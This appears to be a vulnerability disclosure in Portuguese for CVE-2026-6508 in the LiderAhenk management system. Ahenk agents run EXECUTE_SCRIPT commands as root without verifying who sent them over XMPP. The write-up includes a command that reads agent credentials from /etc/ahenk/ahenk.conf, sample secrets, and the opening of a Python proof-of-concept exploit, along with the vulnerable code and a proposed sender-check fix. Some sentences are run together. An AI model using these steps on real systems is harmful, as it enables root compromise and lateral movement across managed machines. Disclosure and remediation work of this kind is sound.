
CVE-2026-6508 Na arquitetura do LiderAhenk Merkezi Yönetim Sistemi, vulnerabilidade crítica de segurança que permite a execução de código com privilégios de 'root' entre todos os clientes nos endpoints (agentes) (execução remota de código não autorizada e movimento lateral).
EvilAhenk é uma vulnerabilidade crítica de segurança na arquitetura do Sistema de Gerenciamento Central LiderAhenk que permite a execução de código com privilégios 'root' entre todos os clientes nas unidades finais (agentes) (RCE Não Autorizado & Movimento Lateral).
No LiderAhenk, o painel de administração/servidor central envia mensagens de tarefas e políticas para os clientes via XMPP.
ahenk nos clientes também se conectam à mesma infraestrutura XMPP,EXECUTE_POLICY, EXECUTE_TASK ou EXECUTE_SCRIPT para o cliente alvoOu seja, o XMPP é o canal de transporte do tráfego de gerenciamento. Normalmente, os comandos do painel central vão para os clientes através deste canal.
Fluxo esperado:
Painel de administração Lider/Ahenk -> Servidor XMPP -> agente alvo
Fluxo vulnerável:
ct-2 é um cliente válido conectado ao mesmo servidor XMPPct-2 envia uma mensagem EXECUTE_SCRIPT através do servidor XMPP visando o JID de ct-1ct-1ct-1 executa o comando sem verificar se a mensagem realmente veio de lider_sunucuahenk.service roda como rootct-2 ou outra conta XMPP -> Servidor XMPP -> agente ct-1 -> comando root
Ou seja, não estamos hackeando a camada XMPP. O servidor XMPP está fazendo o encaminhamento normal de mensagens. O problema é que o agente Ahenk do lado do ct-1 não verifica se a mensagem recebida realmente veio de uma conta de administração autorizada.
pip install slixmpp
Em um cliente comprometido e conectado ao sistema de gerenciamento central, as seguintes informações são coletadas:
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
Exemplo de saída;
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
Atualizamos o arquivo Main.py de acordo com as informações obtidas, domínio im.liderahenk.org, uid alvo pardus-ct-1
- XMPP user: `[email protected]`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Varsayilan hedef: `[email protected]`
O comando a ser executado na máquina vítima pode ser ajustado alterando a variável COMMAND.
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"
Em repos/ahenk/src/base/messaging/messenger.py, a mensagem recebida é processada apenas com base no campo type. Não há verificação do remetente autorizado para msg['from']:
def recv_direct_message(self, msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type, str(msg['body']))
Em repos/ahenk/src/base/execution/execution_manager.py, o EXECUTE_SCRIPT vai diretamente para a execução do comando:
def execute_script(self, arg):
json_data = json.loads(arg)
result_code, p_out, p_err = Util.execute(str(json_data['command']))
Quando essas duas partes se combinam, o efeito é o seguinte:
EXECUTE_SCRIPT sem verificar o remetentePossível correção de design;
def recv_direct_message(self, msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s", actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'], str(msg['body']))